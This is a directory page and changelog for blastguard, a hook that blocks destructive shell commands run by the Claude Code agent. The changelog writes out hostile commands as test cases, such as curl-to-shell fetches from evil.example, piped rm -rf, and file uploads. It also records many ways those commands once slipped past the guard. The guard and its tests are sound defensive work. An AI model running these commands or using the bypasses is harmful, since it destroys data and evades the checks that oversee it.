blastguard
v0.2.65v0.2.56 is an integration: both lines independently shipped a 0.2.55 that were different changes of the same number, so the merged plugin has to exceed both. From this line: the `callgraph` implementation body moved into `harness_core::callgraph` and blastguard keeps only a re-export. From the remote: the inline-eval payload audit below. v0.2.55 integrates this machine's line, whose own v0.2.52 was a DIFFERENT change from the remote's v0.2.52 of the same number (that one was a comment-only taintguard-reference cleanup). What lands here: inline-eval detection moved from matching the SHAPE of a command to auditing the PAYLOAD it delivers, closing six spellings of the same capability that the shape match let through (here-document, here-string, pipe, bare `-`, /dev/stdin, process substitution). `python3 -c "print(1)"` and `python3 -m pip install` stop being denied for their shape; `echo 'rm -rf /' | bash` starts being denied for its content. Two defects an independent verifier found in that work were fixed before it landed: findings were being asserted from bare English needles scanned across the whole command line (so `echo 'please unlink (later)' | python3` was denied for a call it does not make), and rule_id.rs's mapping had gone dead so every new reason classified as "unknown". v0.2.54: the 0.2.53 store's two reads went through raw `std::fs::read_to_string` in a GATE crate's `src/` tree; `check-raw-io-ratchet.py` blocked the commit ("count ROSE 48 -> 50") and was right. Re-routed through `harness_core::boundary::read_to_string`, which already draws the one distinction `lookup` turns on -- `Known(None)` is absence (`NotFound` alone) and every other kind, `PermissionDenied` included, is `Undetermined` -- rather than re-pinning the baseline. Ratchet back to 48, floor held. Also closed a vacuity in the memory's own test: `approved_entries()` returned `Vec::new()` on ANY `read_dir` error, so control (iv)'s `assert!(...is_empty())` could pass for the wrong reason -- the empty-collection fallback `fail-open-guard` names, inside the test whose job is to not be vacuous. Absence alone is now empty; any other failure panics. No verdict changed. v0.2.53: an `Ask` a human already answered is no longer asked again. New `approve` module + a `PostToolUse` half (`blastguard record-approval`): `PreToolUse` stashes a PENDING fingerprint of the effect it is asking about, and the tool actually RUNNING promotes it to an approval -- a denied call produces no `PostToolUse`, and a refused ask never runs, so execution IS the evidence a human said yes, which a `PreToolUse` hook can never observe for itself. The fingerprint is the EFFECT, never the script: the whitespace-normalised command text (so changed PARAMETERS are a different key -- `chmod -R 755 sub` approved says nothing about `chmod -R 777 sub`), plus every token's RESOLVED real path (so re-pointing a symlink after approval moves the key instead of inheriting it), plus each resolved target's CONTENT HASH (so a target changed under a standing approval is re-judged). Only `Ask` -> `Allow`: `Deny` is structurally out of reach, since the downgrade lives in the single `Decision::Ask` arm. An approval is only COMPUTABLE when every token lands strictly `Inside` a safe root, so an effect reaching outside the project is not "approved with caveats" -- it is not representable in the store. Every unknown resolves to no-approval, i.e. the ask stands: an expansion or quoting the whitespace tokeniser cannot faithfully split, an unprobeable target, an unreadable store, an entry that does not parse or does not name the fingerprint it is filed under, and an empty store (first use). Nine end-to-end anti-vacuity controls in `tests/approval_memory.rs`, observed RED first: four failed for exactly the four "the memory works" assertions (second run does not ask; a different store asks; changed parameters ask; changed target content asks) and the reason a `TempDir` is not used is written down -- `/tmp` is a safe ROOT, so a project under it has no outside. Why this exists: `taintguard` was retired by user ruling on 2026-08-24 for asking about ordinary work, and an unanswerable-ask gate teaches its operator to stop reading the question. v0.2.52: comment-only. The launcher (`bin/blastguard`) and `tests/launcher_missing_binary.rs` both contrasted this crate's single-entrypoint shape with "taintguard/ctxrot"'s gate/mark/clear split; taintguard was removed from the repo on 2026-08-24 by user ruling, so the comparison now names ctxrot alone. No logic change, no change to any verdict. v0.2.50: doc-only — records what the 0.2.44→0.2.49 work actually achieved, measured, and records the method, because `blastguard retro` CANNOT measure it. `retro` reads history: the verdicts already written into the transcripts. Re-running it after a decision arm changes measures nothing about the change. Seeing the effect requires feeding each recorded command back through the new binary — and NOT from `--list` output, because `--list` squeezes whitespace while NEWLINES ARE SEGMENT SEPARATORS to the resolver under test: a squeezed `BIN=x` + newline + `cd "$SB"` becomes `BIN=x cd "$SB"`, a same-segment prefix assignment, which is a different construct and answers differently by construction. The raw command has to be re-joined from the transcript by `toolUseID`, two passes per file, since the `tool_use` block is written BEFORE the hook attachment. Measured 2026-08-07 at `e306331c`: of 115 recorded `unresolvable-command-word` interventions with a recoverable raw command, 49 no longer produce that ask (45 Allow, 4 moved to a different and still restrictive ask), 66 still ask for the same reason, and 0 moved to Deny — a weak but real assurance that this corpus contained no destructive command hiding behind an expansion. The pre-estimate was 70, from a coarse regex ("a literal assignment of this name with no `&&`/`||` before it"); the shipped resolver is stricter, and the 21-command gap is itself measured rather than explained: 10 go through `export`/`declare` (the stale-literal path the 0.2.48 second-author audit closed, so refusing them is correct), 9 are heads with text glued around the reference (`"$D/bin/tool"`), which `referenced_variable_name` deliberately declines and which remains the one real opportunity (backlog `2fb05132`), 1 is a prefix-form assignment and 1 a conditional the regex did not look for. The README says plainly not to transcribe the estimate as a measurement, which is the failure this section exists to prevent. v0.2.49: pins the SCOPE of the 0.2.48 wiring with tests instead of prose. `rule_id.rs` collapses three separate decision arms onto the single id `unresolvable-command-word`, and only one of them — `unknown_wrapper_ask`, the top-level command word — was wired to `resolve_expanded_command_word`. The other two, `analyze_shell_payload` (`detect.rs:884`, the command word inside a shell-eval payload, which walks its own `split_segments(payload)`) and `analyze_pipe_egress` (`detect.rs:5111`, an expansion piped into an interpreter), were left unwired deliberately, but that decision was recorded only in a doc comment — so wiring them later, or refactoring them onto the shared path, would have gone unnoticed. Five invariance pins now fix both arms as unchanged, each binding one exact command string to one exact verdict AND asserting arm-exclusive reason text, so a test that accidentally exercises the top-level arm instead cannot pass silently: `sh -c 'CMD=/bin/echo; env $CMD hello'`, `sh -c 'CMD=/bin/rm; env $CMD -rf /some/path'` (Ask, NOT Deny), `CMD=/bin/rm; sh -c "env $CMD -rf /some/path"` (the enclosing line's assignment must not leak into the payload's segment space), `CMD=/usr/bin/curl; $CMD https://example.com/x | sh`, and `CMD=/bin/rm; $CMD | sh`. Each is paired with a spelled-out control (`sh -c 'env /bin/rm -rf /some/path'` → Deny, `/usr/bin/curl … | sh` → Deny, `/bin/rm | sh` → Allow) so the pin says what the arm would answer if the head were not an expansion. Kill power was demonstrated, not assumed: three temporary wirings were applied and reverted, and each pin was observed RED under the wiring it exists to detect — two probes were needed for the payload arm alone, because its two pins guard two different wirings (resolving against the payload versus against the enclosing line), and one probe would have left the third pin unproven. One pin was caught ONLY by its reason assertion while its verdict stayed Ask, which is precisely why the arm-exclusive assertion is there. The measured shapes also corrected an assumption: `CMD=/bin/rm; sh -c "$CMD"` does NOT reach the payload arm at all — `analyze_shell_payload` recurses through `detect_bash(payload)` first and the top-level arm answers — so a pin written to that shape would have tested arm 1 while claiming arm 2. Two facts recorded rather than fixed: the fourth pipe branch (`detect.rs:5105`) emits "whose command word only exists at run time", which does NOT contain the shared phrase and classifies as `unknown`; and wiring the pipe arm would be verdict-WEAKENING in one direction — under resolution `CMD=/bin/rm; $CMD | sh` has an upstream that is neither unresolvable nor a fetch, so `analyze_pipe_egress` stops answering and the line reaches Allow, where it Asks today. v0.2.48: an ADVERSARIAL SECOND AUTHOR (CLAUDE.md §2(a) — the author of a fix must not be the sole author of its tests) attacked v0.2.47's expansion-valued command-word resolver and found 11 fail-opens, every one observed RED against 0.2.47 before being fixed, and every expectation checked against real `bash -c` output rather than against a reading of the code. Root cause A, a STALE literal rather than a missing one: the reaching-assignment scan skipped past any segment that was not a pure assignment list, which is harmless only when the line assigns the name nowhere else — with a second assignment present the resolver kept the FIRST value and reported it as the program. So `BIN=/bin/echo; export BIN=/bin/rm; $BIN -rf /path` resolved to `/bin/echo` and came out ALLOW while bash really ran `/bin/rm`. Same shape for `declare`/`readonly`/`typeset`/`local`, for the quote-removed spellings (`export "BIN=/bin/rm"`, `export 'BIN'=/bin/rm`), for an assignment carrying a trailing comment, for a rebinding inside a brace group, a compound command, or a function body, for a `for` loop control variable, for `eval`/`source`/`.`, for `unset`, for `read`/`printf -v`, and for the append form `BIN+=/rm`. This also contradicted the resolver's own doc comment, which claimed `export NAME=value` was ignored and left the answer at `NoReachingAssignment`; the comment was wrong about its own code and is rewritten rather than kept. Root cause B: a HERE-DOCUMENT body was read as code, so `BIN=/bin/rm` + `cat <<EOF` / `BIN=/bin/echo` / `EOF` + `$BIN -rf /path` took the body line — data bash only prints — as the winning assignment and allowed a real `rm`. Root cause C: `BIN=(/bin/rm)` is an array, and `unquote_literal_value` handed back the text `(/bin/rm)`, whose basename `rm)` matches no rule and fell to the catch-all Allow. Root cause D: the substitutive re-judge DROPPED the working directory, so `cd .githooks; BIN=/bin/rm; $BIN pre-commit` allowed what `cd .githooks; rm pre-commit` denies — resolving the head made the verdict WEAKER than not resolving it. That arm now refuses (new rule id `resolved-head-lost-cwd`, kept separate from `unresolvable-command-word` so `retro` can count it) whenever a resolution gains a relative operand that `verb_targets` has an opinion about and an earlier `cd`/`pushd` moved the tree; a Deny still wins, since it was reached on strictly less information than the real command carries. The narrowing matters: the first spelling of this fix broke the corpus shape that is 70 of the 115 measured interventions, and `condukt` is not a verb `verb_targets` knows, so that shape is untouched. Five INVARIANCE PINS were added alongside and are labelled as such rather than presented as finds — they passed immediately, and three of them caught the fixes over-reaching. Known residual, reported and deliberately NOT pinned as expected behaviour: a call to a shell function defined off the line (`BIN=/bin/echo; myfunc; $BIN …`) is textually identical to an external command, which cannot touch the parent shell's variables, so separating them needs knowledge this file does not have. One movement is not towards Deny and is stated plainly: `BIN=(/bin/rm /bin/echo); $BIN …` went deny→ask, because the old Deny was accidental (`basename("(/bin/rm")` is `rm`) and already inconsistent with the spaced spelling, which asked; a uniform Ask is the honest answer for a construct the resolver does not model. v0.2.47: WIRES the v0.2.46 resolver into exactly ONE decision arm — the CA-blastguard-017 head check in `unknown_wrapper_ask` — and closes the conditional-guard hole v0.2.46 shipped as a stated known limit. Measured motivation (2026-08-07, `blastguard retro --project <this repo> --rule-id unresolvable-command-word`): 115 interventions, 115 approved and run, 0 prevented, and 70 of them assign the head a LITERAL earlier on the same line, so the program IS readable from the text. The resolution is SUBSTITUTIVE, never a skip: a `CommandWordOrigin::Literal` replaces the expansion token and the rewritten segment goes back through the full rule engine, so `RM=/bin/rm; $RM -rf /path` now reaches the same DENY that `rm -rf /path` does. Merely suppressing the ask on finding a literal would have re-opened CA-blastguard-017 under a new name: the tail this arm goes on to examine is only the ARGUMENTS, and `-rf /path` is a flag and a bare path that does not parse as destructive on its own — which is exactly how the unexamined head reached Allow in the first place. Every way the line FAILS to name the program keeps the pre-existing Ask: no reaching assignment (`$RM -rf /path`), a right-hand side that is itself an expansion (`$(which rm)`, backticks), an assignment only AFTER the use, a same-segment prefix assignment (`RM=/bin/rm $RM …`, since the shell expands the word before applying the prefix), an assignment across a pipe (both stages are subshells), and, new in this version, an assignment whose execution is conditional. `assignment_execution_is_unconditional` now refuses anything standing after a `&&`/`||` OR after a segment that opens a compound command or a subshell (`opens_unmodelled_construct`: a first word of `if`/`then`/`elif`/`else`/`while`/`until`/`for`/`do`/`case`/`select`, or a leading `(`), because a NEWLINE-formatted `if foo` / `BIN=x` / `fi` hands `split_segments` a body segment that is a pure assignment list with ordinary separators on both sides and nothing at all marking it as guarded. That refusal costs 9 of the 115 by measurement and is the correct price: whether the assignment ran is an exit status the text does not contain, and a value that may not have been assigned is not a value the gate may believe. The guard's tests deliberately pin a BENIGN value (`/bin/echo`), because with a destructive value a missing guard surfaces as a Deny — more restrictive, therefore invisible — whereas a benign one exposes it by turning the pre-existing Ask into an Allow. The other two arms that emit this same reason string, `analyze_shell_payload`'s `unresolvable_command_word` and the pipe-egress check, are deliberately NOT wired and keep their Ask byte-for-byte. `cargo test -p blastguard` (246 unit + all integration suites) and `cargo clippy -p blastguard --all-targets` clean; the F→P oracle reports `valid_fp_oracle: true`. v0.2.46: NO BEHAVIOUR CHANGE — adds the pure text analysis that a later change will use to answer whether an expansion-valued command word (`$BIN`, `"$BIN"`) is knowable from the line it sits on, and nothing else. Every item is `#[cfg(test)]`, so it is compiled only for the test binary and no decision arm calls it; every verdict blastguard produces is byte-for-byte what 0.2.45 produced. Motivation, measured over this repo's transcript corpus (`blastguard retro --rule-id unresolvable-command-word`): 115 interventions, 115 approved and run, 0 prevented — and 80 of them assign the variable a LITERAL value earlier on the same line, so the program IS readable from the text. `resolve_expanded_command_word` answers with a three-valued `CommandWordOrigin` (`Literal` / `NoReachingAssignment` / `AssignedButUnknowable`) rather than an `Option<String>`, because a `None` would conflate 'nothing assigns that name' with 'something assigns it, to text I cannot read' — only `Literal` could ever suppress an Ask. The hard part is which assignments REACH the use, which `split_segments` cannot answer because it discards the separator; a twin `split_segments_with_separators` keeps it, and each separator's behaviour was verified against `bash -c` rather than assumed: `;`/newline/`&&`/`||` reach, `|` and `&` do not (each side is a subshell), a same-segment prefix assignment does not (the shell expands the word BEFORE applying the prefix), and `NAME=value cmd` does not survive its own segment. A reachable but EMPTY value (`X=; $X foo`) resolves to the restrictive side, since the word then vanishes and some later token becomes the program. v0.2.35: doc-only fix — README.ja.md:31-33 claimed `.claude/settings.json` (among other config files) is *always* excluded (allow) from blastguard's destructive-op checks, contradicting `exclude.rs`'s actual precedence: `PROTECTED_GLOBS` (settings.json, hooks.json, hooks/**, .githooks/**, etc. — files that decide which gates/hooks run at all) OUTRANKS `ALLOW_GLOBS` and resolves those paths to unconditional Deny, never to the config-file exemption (backlog 333da6a8). README.ja.md now states the gate-control-file carve-out explicitly. No behavior change. v0.2.34: closes the launcher's (bin/blastguard) genuine fail-open when no per-platform binary is bundled for the host — the old launcher printed a stderr warning and silently `exit 0`'d with no stdout, byte-for-byte indistinguishable downstream from a real Allow verdict (backlog 2ec9d740; the exact gap v0.2.33's doc fix had only documented, not closed). The launcher now emits a PreToolUse hook-JSON verdict on the missing-binary path, mirroring `crate::interactive::ask_available`'s env-var resolution exactly: `BLASTGUARD_ASK=never` forces deny, `=always` forces ask, and `auto`/unset asks only when `CLAUDECODE=1` AND `CLAUDE_CODE_ENTRYPOINT=cli` (the one measured affirmatively-interactive shape) and denies otherwise — never a silent allow in any case. New `tests/launcher_missing_binary.rs` (5 tests) runs the real shell launcher as a subprocess against a binary-less tempdir with fully-controlled env, observed RED (empty stdout / unparseable JSON) against the pre-fix launcher before the change and GREEN after; `cargo test -p blastguard` (190 unit tests + all integration suites) and `cargo clippy -p blastguard --all-targets` stay clean. v0.2.33: doc-only fix — README.md/README.ja.md described panic/undetermined handling with a blanket "never breaks a turn" framing that conflated "stays silent (allow)" with "resolved by catch_unwind to deny", and understated the launcher's (bin/blastguard) real fail-open when no per-platform binary is bundled (warns to stderr, exits 0, no analyser runs at all). Docs now state the actual Decision::{Allow,Deny,Ask} resolution: empty/invalid input and unmatched tools are determined-nothing-to-judge (silent allow); an internal panic is undetermined and resolves to Deny via catch_unwind in analyse(); a missing bundled binary is a separate, genuine fail-open gap since no analyser exists to resolve anything in that case. No behavior change; see crates/blastguard/src/main.rs and crates/blastguard/bin/blastguard for the code these docs now match. v0.2.32: extends the high-blast Ask tier's category (A) — a `git push` refspec argument whose SOURCE side (the part before the first `:`, or the whole token if there is no `:`) begins with a literal `+` (`origin +main`, `origin +refs/heads/x:refs/heads/x`) now Asks exactly like `--force`/`-f`/`--force-with-lease`, since that `+` is git's own pre-flag force-refspec syntax and forces the update of that one ref identically. New `refspec_source_is_force` only inspects non-flag tokens, so `-u`/`--set-upstream` and its operand, a plain remote/branch/tag name, and a non-force colon refspec (`HEAD:main`, `src:dst`, no `+`) all stay silently Allow — verified by a dedicated anti-vacuity test. New cases in `tests/high_blast_tier.rs` (RED observed against a stashed pre-fix `detect.rs` via `tdd red`, GREEN via `tdd green`, `tdd oracle` reports `valid_fp_oracle: true`) cover the ask/deny-hardening shapes, the anti-vacuity allow-list, and non-regression of the existing flag-force/category-B/category-C arms; `cargo test -p blastguard` (all suites) and `cargo clippy -p blastguard --all-targets` stay clean. v0.2.31: adds a CONSERVATIVE high-blast-radius Ask tier for novel destructive/irreversible Bash shapes the existing deny-list has no rule for — folded into `detect_bash` right before the per-command accumulator's Allow fallthrough, so any pre-existing Deny (protected path, egress, fork bomb, recursive rm, find -delete/-exec rm) still outranks it (Deny > Ask > Allow). Three narrow, individually-MEASURED gaps: (A) `git push` carrying a force flag (`--force`/`-f`/`--force-with-lease[=…]`) — `analyze_git`'s `match` had no `"push"` arm at all, so a history-rewriting force-push fell to the `_ => Allow` catch-all; a normal (non-force) push is unaffected. (B) `curl`/`wget` uploading local file content (`-d @file`/`--data-binary @file`/`-F name=@file`/`-T`/`--upload-file`, the exact shape the pre-existing `fetch_exfil_upload` already denies) to a URL with NO literal `://` scheme — curl/wget both default a bare `host/path` operand to `http://`, so the upload still happens, but the pre-existing rule's own scheme gate never even looks at the flags in that case; `upload_flag_operand` is factored out of `fetch_exfil_upload` so both the scheme-present Deny and the scheme-absent Ask share one flag-detection path. (C) a plain, non-recursive `rm`/`unlink` of a single operand that climbs OUT of the tree via a leading `../` with no preceding `cd`/`pushd` to explain where it lands — judged on the ALREADY cwd-resolved segment `detect_bash`'s existing per-segment loop produces (not a fresh top-level scan), so a `cd` that lexically resolves the `..` back to an ordinary place (`cd .githooks && rm ../src/build.o`) correctly stays Allow, matching a pre-existing pinned test for that exact shape. Measured, not assumed: `rm -rf`/wildcard/`find -delete`/`find -exec rm` needed no new rule at all — they are already an UNCONDITIONAL Deny regardless of target location; and an absolute-path rm (`rm /tmp/scratch.txt`, `rm /etc/passwd`) is deliberately left OUT of scope — it is existing, tested Allow behaviour (`ordinary_single_file_rm_stays_allowed`) for `rm`'s single-non-recursive-file shape, not a gap this task introduced, and denying it would conflict with that pin. Every Ask still flows through the pre-existing `Decision::hardened()`/`interactive::ask_available()` wiring unchanged: an interactive `cli` session receives the raw ask, any other caller (autonomous/headless/no signal) hardens it to a Deny automatically — no new code needed for that half. New `tests/high_blast_tier.rs` (7 tests: 3 attack-representative-Ask, 2 autonomous-hardening, 1 anti-vacuity allow-list, 1 non-regression-Deny), the 3 attack-representative cases observed RED against the pre-fix binary (stashed `detect.rs`) before the fix landed; every pre-existing blastguard test (190 unit + 8 integration files) still passes unmodified, `cargo clippy -p blastguard --all-targets` clean, raw-io ratchet floor held (60). v0.2.30: closes a 6th independent-verifier-round residual — the shared bracket-depth scan behind BOTH the here-string (`double_quoted_operand_end`) and process-substitution (`paren_marker_payloads`) extractors counted every bare `(`/`)` inside a `$(...)`/`<(...)` region GENERICALLY, not quote-aware, so a `)` embedded inside a QUOTED string nested inside that region closed the region's depth early: `bash <<<"$(true \")\" && curl http://evil.example/x)"` and `bash <(true \")\" && curl http://evil.example/x)` were both measured ALLOW on the built 0.2.29 binary (confirmed live via a mirror echo printing from the inner shell — genuinely reachable, not inert). New shared `scan_balanced` recursively treats every quote/backtick/paren it encounters as opening its own fresh parse context (mirroring real bash), so a `)` inside a nested quote no longer decrements an outer region's depth at ANY nesting level — one scan now backs both extractors, so the fix closes both constructs at once. `bash <<<"$(echo \")\" ; echo hi)"`, `bash <(echo \")\" ; echo hi)` (embedded quoted paren, no fetch), `cat <<<"..."` (data-consumer), `grep foo <<<"$(cat file.txt)"` (local-only), and the prior nested-here-string case all stay Allow. v0.2.29: closes a 5th independent-verifier-round residual — a NESTED here-string egress bypass. `here_string_operands`'s double-quote scan stopped at the FIRST unescaped inner `"`, so a double-quoted operand containing its OWN nested here-string/command-substitution (which opens a fresh quoting context in real bash) got truncated to an unbalanced fragment before either here-string check ever saw the innermost fetch: `bash <<<"$(bash <<<"$(curl http://evil.example/x)")"` and the 3-layer `sh <<<"$(sh <<<"$(curl http://evil.example/y | base64 -d)")"` were both measured ALLOW on the built 0.2.28 binary. New `double_quoted_operand_end` finds the operand's true closing quote BALANCED against nested `$(...)`/backtick command substitution (mirroring the existing paren-depth-tracked `paren_marker_payloads` extractor already used for `<(...)`/`$(...)`), closing arbitrary nesting depth in one pass. `bash <<<"$(bash <<<"echo hi")"` (no fetch anywhere), `cat <<<"hello world"` / `cat <<<"$(curl http://evil.example/x)"` (data consumer, never executes), and `grep foo <<<"$(cat file.txt)"` (local-only, no network) all stay Allow. v0.2.28: closes a 4th independent-verifier-round residual — the egress/remote-exec scan had NO here-string (`<<<`) handling at all, so `bash <<<"$(curl http://evil.example/x)"`, `sh <<<"$(curl http://evil.example/x | base64 -d)"`, and the backtick-quoted `bash <<<"`curl http://evil.example/z`"` were all measured ALLOW on the built 0.2.27 binary — `bash`/`sh` read a `<<<` operand as their OWN stdin/script, so fetched bytes delivered that way execute unchecked, exactly like `bash <(curl evil)`. New `analyze_here_string_egress` mirrors `analyze_process_substitution_egress`'s two-check shape: (A) when the outer command is a shell/interpreter/`source`/`.`, the operand is scanned via the existing `scan_body_for_fetch_or_decode` recursion REGARDLESS of the operand's quote kind (a here-string's bytes are re-parsed as script by the inner interpreter no matter how the outer line quoted them); (B) independent of the outer command's identity, a `$(...)`/backtick command substitution nested in a double-quoted-or-bare operand is evaluated by the OUTER shell while building the operand's value, so `cat <<<"$(curl http://evil.example/y | sh)"` denies via the existing `analyze_pipe_egress` even though `cat` itself never executes anything (gated on `!is_single_quoted`, since a single-quoted operand suppresses that expansion). A companion fix, `split_segments_paren_aware`, closes a bug this residual exposed in the SHARED `scan_body_for_fetch_or_decode` recursion: a body whose entire text is an unquoted `$(...)` span with a top-level `|` inside it (a here-string operand with its enclosing quote already stripped) was being split apart mid-construct by the quote-only `split_segments`, hiding the fetch from both the direct-word check and the nested-payload recursion. `bash <<<"echo hi"` (benign script), `cat <<<"hello world"` (data consumer, not a script reader), `grep foo <<<"$(cat file.txt)"` (local substitution, no egress), and `cat <<<"$(curl http://evil.example/x)"` (a fetch that is never executed, only printed) all stay Allow. v0.2.18: closes the four round-2 adversarial-verifier bypasses of the protected-path rule. (1) The protected glob set is now matched CASE-INSENSITIVELY (`.CLAUDE/Settings.json`, `DENY.TOML`, `.ZSHRC` are the same file on a case-insensitive filesystem); the ALLOW set stays case-sensitive on purpose, since folding it would exempt more rather than deny more. (2) `exclude::normalize` collapses `//` and `/./`, which the kernel already treats as one separator. (3) New `cp`/`mv`/`install`/`ln` and `sed -i` arms: the dispatch only had DELETE/TRUNCATE rules, so overwriting a protected file by copying onto it was unclassified — the destination is checked in all three shapes (`SRC DEST`, `-t DIR SRC…`, `SRC… DIR/`), sources are ignored so ordinary backups stay Allow. (4) `git -c core.hooksPath=… <subcommand>` (and the glued `-ccore.hooksPath=`, `--config-env` forms) is denied like `git config core.hooksPath`; `git_subcommand_index` already skipped past those values, nothing had read them. Ordinary `cp a.txt b.txt` / `mv` / `sed -i` on source files / `git -c user.name=x` stay Allow. v0.2.17: round-2 adversarial-verifier RED tests for the v0.2.15 protected-path fix — pins 4 confirmed bypasses that still reach protected files as Allow: (1) case-variant paths (`.CLAUDE/Settings.json`, `DENY.TOML`, `.ZSHRC`, …) since exclude.rs does no case-folding on a case-insensitive filesystem; (2) `//`-doubled paths (`.claude//settings.json`) since normalize() never collapses `//`; (3) `cp`/`mv`/`sed -i`/`install` onto a protected path, since detect.rs's command dispatch has no arm for any of them; (4) `git -c core.hooksPath=... <subcommand>`, since only the `git config` subcommand arm inspects that key, not the global `-c` option. All in `detect.rs`'s test module; no production code change. Two narrower findings from writing these tests: `.githooks/PRE-COMMIT` (uppercase basename, lowercase dir) and 3 of 4 `//`-doubled variants (all but the bare `.claude//settings.json` form) already classify to Deny today, because they still match a `**/`-prefixed glob alternative or a wildcard directory component regardless of the exact bypass shape probed — narrower than initially assumed, not a full class fix. v0.2.16: test-only follow-up to v0.2.15's protected-path fix — the independent test author's stale integration mirror (`tests/integration.rs` `config_file_edit_is_allowed_silently`, which pinned the OLD Edit-to-`.claude/settings.json`-is-Allow-and-silent behavior) is renamed to `config_file_edit_to_protected_path_is_denied` and now asserts Deny + surfaced; `rule_id.rs`'s `every_detect_deny_path_maps_to_a_known_rule_id` gained cases for the `protected-path` and `git-config-hookspath` rule ids (Write/Edit/truncating-redirect/append-redirect to a protected path, and `git config core.hooksPath`), which were added in v0.2.15 but not yet exercised by that completeness test. No production code change. v0.2.15: protected gate/config paths are now CLASSIFIED instead of auto-Allowed. `exclude::is_protected_path` names the files that decide whether the gates run at all (`.claude/settings.json` / `settings.local.json` / `hooks.json` / `.claude/hooks/**`, `.githooks/**`, `.git/hooks/**`, shell rc files, and the gate-config tomls `deny.toml`/`donegate.toml`/`specguard.toml`/`tdd.toml`/…), and it is checked BEFORE the `is_config_file` allowlist that used to short-circuit them to Allow. Write, Edit/MultiEdit/NotebookEdit (previously ALWAYS Allow, regardless of path), truncating redirects and APPEND redirects (`>>`, previously skipped as non-truncating) all resolve to Deny on such a target, and `git config core.hooksPath` (a one-command swap of every git hook) is denied unless a read-only flag is present. The extension-wide `*.toml` allowance is deliberately kept, so an ordinary `Cargo.toml` write stays Allow; new rule ids `protected-path` and `git-config-hookspath` keep the class visible to overwatch. v0.2.14: internal-only refactor — `detect.rs`'s `VerdictAcc` (the `Deny > Ask > Allow` sub-analysis combinator) now accumulates `harness_core::verdict::Verdict` internally and ranks via the new shared `Verdict::worst_of` combinator, translating back to `Decision` at the boundary (`decision_to_verdict`/`verdict_to_decision`). The public `Decision` enum and its methods (`is_blocking`/`is_deny`/`is_ask`/`hardened`) are byte-for-byte unchanged, and every pre-existing test passes unmodified; new tests pin `VerdictAcc`'s priority ordering directly. Kills a hand-rolled reinvention of the same three-valued-verdict priority already shared by propguard/reviewgate. No behavior change. v0.2.12: documented backlog cd99fa2c judgment for blastguard:code-interpreter-inline-eval (README.ja.md) with a concrete example observed live in this session — a purely read-only `python3 -c` invocation (parsing a JSONL transcript with json.loads and printing matches) was denied because is_inline_eval_flag does not inspect payload contents. Judged intentional, same D1-class false-positive tradeoff as truncating-redirect: no reliable syntactic way to prove a `-c`/`-e`/`-r` payload is read-only (os.system/eval/obfuscated calls can hide in the same string), so no code change. Workaround remains jq/grep or writing a script file and running it with no inline-eval flag. v0.2.11: fixed a genuine false-positive in redirect_targets (crates/blastguard/src/detect.rs) found while investigating backlog ba72dc46 — the target-token scanner did not treat `)` as a terminator, so a redirect inside a command substitution (`$(cmd 2>/dev/null)`) had its target read as `/dev/null)` instead of `/dev/null`, failing redirect_target_is_safe's exact match and denying a command that touches no file at all. `)` is now a token terminator alongside whitespace/`;`/`|`/`&`/`>`; a control test confirms a real truncating redirect immediately followed by `)` in prose is still denied. v0.2.10: documented backlog ba72dc46/cd99fa2c findings (README.ja.md) — the REMAINING truncating-redirect denies (scratchpad/tmp writes) and all code-interpreter-inline-eval denies are intentional design, not fail-opens; no code change for those. v0.1.21: closed CONFIRMED Continuous-Audit DENY-gap CA-blastguard-07 — git global options that take a separate-token value (`git -C DIR reset --hard`, `git -c user.name=x clean -fd`, `git --git-dir PATH checkout --force`, `git -C DIR stash clear`) no longer misread that value as the subcommand, so every git deny fires instead of falling through to Allow (fail-open). v0.1.19: closed 2 CONFIRMED Continuous-Audit DENY-gaps (CA-blastguard-04/05) — the combined stdout+stderr truncating redirect `&>` (and no-space `&>target`) is now denied as a truncating overwrite (the append form `&>>` stays allowed), and `git restore <path>` / `git restore .` is now denied as a working-tree discard consistent with `git checkout -- .` (`git restore --staged <path>` stays allowed). v0.1.18: closed 5 CONFIRMED Continuous-Audit fail-opens (CA-blastguard-006..010) — a bare top-level interpreter invocation with an inline-eval flag (e.g. `python3 -c ...` with no `find` wrapper) is now denied, not just the `find -exec`/`-ok`-wrapped form; stacked short flags (`-ic`) and versioned interpreter basenames (`python3.12`) are now recognized; `tee FILE` (no `-a`) is now denied as a truncating overwrite; and denial reasons for this whole class now map to a stable rule id instead of "unknown". A PreToolUse guard for Claude Code: inspects Bash commands and file operations and denies the project-destroying ones — recursive/wildcard rm, git reset --hard, git clean -fdx, truncate/shred/mkfs, dd of=, recursive chmod/chown, find -delete, and single-> overwrites — while exempting repo config files. Subscription-native (one hook + bundled Rust binary, no API key).
By yukineko0 GitHub starsUpdated yesterday
Directory evidence
- Runtimes
- Claude Code
- Parsed components
- 0 skill or MCP entries
- Source updated
- Sep 23, 2026
- Manifest status
- Canonical path parsed
The directory validates manifest shape and source location. It does not execute the plugin or provide a security endorsement. Review the indexing methodology →
Install blastguard for Claude Code
claude plugin marketplace add IchenDEV/agent-plugin-mkt
claude plugin marketplace update agent-plugin-marketplace
claude plugin install blastguard@agent-plugin-marketplacePaste and run these commands in a terminal with Claude Code. They add and refresh the PluginsMP catalog, then install this plugin.
The installer fetches third-party code from the source repository shown on this page. This directory validates manifest structure and source location, but does not perform a security audit; review the manifest, components, and source before installing.
Get the source manually
git clone https://github.com/yukineko/claude-harnessesClone the source repository, then follow its setup instructions to add the plugin to a compatible client. The plugin root is crates/blastguard/.
Plugin files
└── .claude-plugin/plugin.json
Plugin manifests1
{
"name": "blastguard",
"version": "0.2.65",
"description": "v0.2.56 is an integration: both lines independently shipped a 0.2.55 that were different changes of the same number, so the merged plugin has to exceed both. From this line: the `callgraph` implementation body moved into `harness_core::callgraph` and blastguard keeps only a re-export. From the remote: the inline-eval payload audit below. v0.2.55 integrates this machine's line, whose own v0.2.52 was a DIFFERENT change from the remote's v0.2.52 of the same number (that one was a comment-only taintguard-reference cleanup). What lands here: inline-eval detection moved from matching the SHAPE of a command to auditing the PAYLOAD it delivers, closing six spellings of the same capability that the shape match let through (here-document, here-string, pipe, bare `-`, /dev/stdin, process substitution). `python3 -c \"print(1)\"` and `python3 -m pip install` stop being denied for their shape; `echo 'rm -rf /' | bash` starts being denied for its content. Two defects an independent verifier found in that work were fixed before it landed: findings were being asserted from bare English needles scanned across the whole command line (so `echo 'please unlink (later)' | python3` was denied for a call it does not make), and rule_id.rs's mapping had gone dead so every new reason classified as \"unknown\". v0.2.54: the 0.2.53 store's two reads went through raw `std::fs::read_to_string` in a GATE crate's `src/` tree; `check-raw-io-ratchet.py` blocked the commit (\"count ROSE 48 -> 50\") and was right. Re-routed through 